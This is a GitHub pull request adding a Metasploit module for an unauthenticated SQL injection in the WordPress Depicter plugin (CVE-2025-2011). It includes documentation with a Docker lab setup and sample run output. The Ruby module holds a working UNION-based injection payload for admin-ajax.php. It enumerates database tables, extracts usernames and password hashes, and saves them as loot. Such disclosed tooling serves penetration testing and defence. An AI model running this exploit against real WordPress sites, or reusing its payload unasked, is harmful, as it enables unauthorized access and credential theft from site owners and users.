Skip to content

Add WP Depicter Plugin Unauth SQL Injection (CVE-2025-2011) #20185

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 6 commits into from
May 28, 2025
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ bulletproof-security
catch-themes-demo-import
chopslider
custom-registration-form-builder-with-submission-manager
depicter
download-manager
drag-and-drop-multiple-file-upload-contact-form-7
dukapress
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
## Vulnerable Application

The vulnerability affects the **Slider & Popup Builder by Depicter** plugin for WordPress,
versions **up to 3.6.1**, allowing **unauthenticated SQL injection** via the `s` parameter on `admin-ajax.php`.
WordPress itself must be installed.

### Pre-requisites

* **Docker** and **Docker Compose** installed.


## Setup Instructions

1. **Create a `docker-compose.yml`** with:

```yaml
version: '3.1'

services:
wordpress:
image: wordpress:latest
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 512m
volumes:
- wordpress:/var/www/html

db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql

volumes:
wordpress:
db:
```

2. **Start the environment**

```bash
docker-compose up -d
```

3. **Install Depicter plugin**

```bash
wget https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
unzip depicter.3.6.1.zip
docker cp depicter wordpress:/var/www/html/wp-content/plugins/
```

4. **Activate Depicter**

* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Slider & Popup Builder by Depicter**.
* No additional setup is required.


## Verification Steps

1. **Launch Metasploit**

```bash
msfconsole
```

2. **Load the Depicter SQLi scanner**

```bash
use auxiliary/scanner/http/wp_depicter_sqli_cve_2025_2011
set RHOSTS 127.0.0.1
set RPORT 5555
set TARGETURI /
```

3. **Run the module**

```bash
run
```

4. **Observe output**

The module should:

* Retrieve the database name
* Enumerate tables and infer the `wp_users` table
* Extract `user_login:user_pass` for the number of rows set by `COUNT`

## Options

* **TARGETURI** (`/`): base path to WordPress
* **COUNT** (`1`): number of user rows to retrieve

## Scenarios

```bash
msf6 auxiliary(scanner/http/wp_depicter_sqli_cve_2025_2011) > run http://lab:5555
[*] Retrieving database name via SQLi...
[+] Database name: exploit_market
[*] Enumerating tables for prefix inference...
[+] Tables: wp_commentmeta,wp_comments,wp_depicter_documents,wp_depicter_lead_fields,wp_depicter_leads,wp_depicter_meta,wp_depicter_options,wp_links,wp_options,wp_postmeta,wp_posts,wp_suretriggers_webhook_requests,wp_term_relationships,wp_term_taxonomy,wp_termmeta,wp_terms,wp_ur_membership_ordermeta,wp_ur_membership_orders,wp_ur_membership_subscriptio
[*] Inferred users table: wp_users
[*] Extracting user credentials...
[!] No active DB -- Credential data will not be saved!
[+] Created credential for chocapikk
wp_users
========

Username Password Hash
-------- -------------
chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga

[+] Loot saved to: /home/chocapikk/.msf4/loot/20250514154441_default_127.0.0.1_wordpress.users_167822.txt
[+] Reporting completed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
147 changes: 147 additions & 0 deletions modules/auxiliary/scanner/http/wp_depicter_sqli_cve_2025_2011.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Depicter Plugin SQL Injection (CVE-2025-2011)',
'Description' => %q{
The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1 is vulnerable to unauthenticated SQL injection via the 's' parameter in admin-ajax.php.
},
'Author' => [
'Muhamad Visat', # Vulnerability Discovery
'Valentin Lobstein' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-2011'],
['WPVDB', '6f894272-3eb6-4595-ae00-1c4b0c0b6564'],
['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'],
['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179']
],
'Actions' => [['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]],
'DefaultAction' => 'SQLi',
'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 },
'DisclosureDate' => '2025-05-08',
'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] }
)
)
end

def run_host(_ip)
print_status('Retrieving database name via SQLi...')
db_name = extract_value_from_sqli('database()')
fail_with(Failure::UnexpectedReply, 'Failed to extract database name.') unless db_name
vprint_good("Database name: #{db_name}")

print_status('Enumerating tables for prefix inference...')
raw = 'group_concat(table_name) from information_schema.tables where table_schema=database()'
tables_csv = extract_value_from_sqli(raw)
fail_with(Failure::UnexpectedReply, 'Failed to enumerate tables.') unless tables_csv
print_good("Tables: #{tables_csv}")

visible_tables = tables_csv.split(',')
prefix = visible_tables.first.split('_').first
users_table = "#{prefix}_users"
print_status("Inferred users table: #{users_table}")

print_status('Extracting user credentials...')
limit = datastore['COUNT'].to_i
raw_creds = "group_concat(user_login,0x3a,user_pass SEPARATOR 0x0a) from (select * from #{db_name}.#{users_table} LIMIT #{limit}) as sub"
creds = extract_value_from_sqli(raw_creds)
fail_with(Failure::UnexpectedReply, 'Failed to extract credentials.') unless creds

data = creds.split("\n").map { |u| u.split(':', 2) }
table = Rex::Text::Table.new(
'Header' => users_table,
'Indent' => 4,
'Columns' => ['Username', 'Password Hash']
)
loot_data = ''
data.each do |user|
table << user
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"
create_credential(
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: 'WordPress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
)
vprint_good("Created credential for #{user[0]}")
end

print_line(table.to_s)
loot_path = store_loot(
'wordpress.users',
'text/plain',
datastore['RHOST'],
loot_data,
'wp_users.txt',
'WP Usernames and Password Hashes'
)
print_good("Loot saved to: #{loot_path}")

report_host(host: datastore['RHOST'])
report_service(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
info: description.strip
)
report_vuln(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
refs: references,
info: description.strip
)
vprint_good('Reporting completed')

data
end

def extract_value_from_sqli(expr)
expr = expr.to_s.strip.gsub(/\s+/, ' ')
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
injected = "#{r1}') UNION SELECT #{r2},#{r3},(SELECT #{expr}),#{r4},#{r5}-- -"

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('wp-admin', 'admin-ajax.php'),
'vars_get' => {
's' => injected,
'perpage' => rand(10..50).to_s,
'page' => rand(1..3).to_s,
'orderBy' => 'source_id',
'dateEnd' => '',
'dateStart' => '',
'order' => ['ASC', 'DESC'].sample,
'sources' => '',
'action' => 'depicter-lead-index'
}
)
return unless res&.code == 200

json = res.get_json_document
json.dig('hits', 0, 'content', 'id') ||
json.dig('hits', 0, 'content', 'name')
end
end
Loading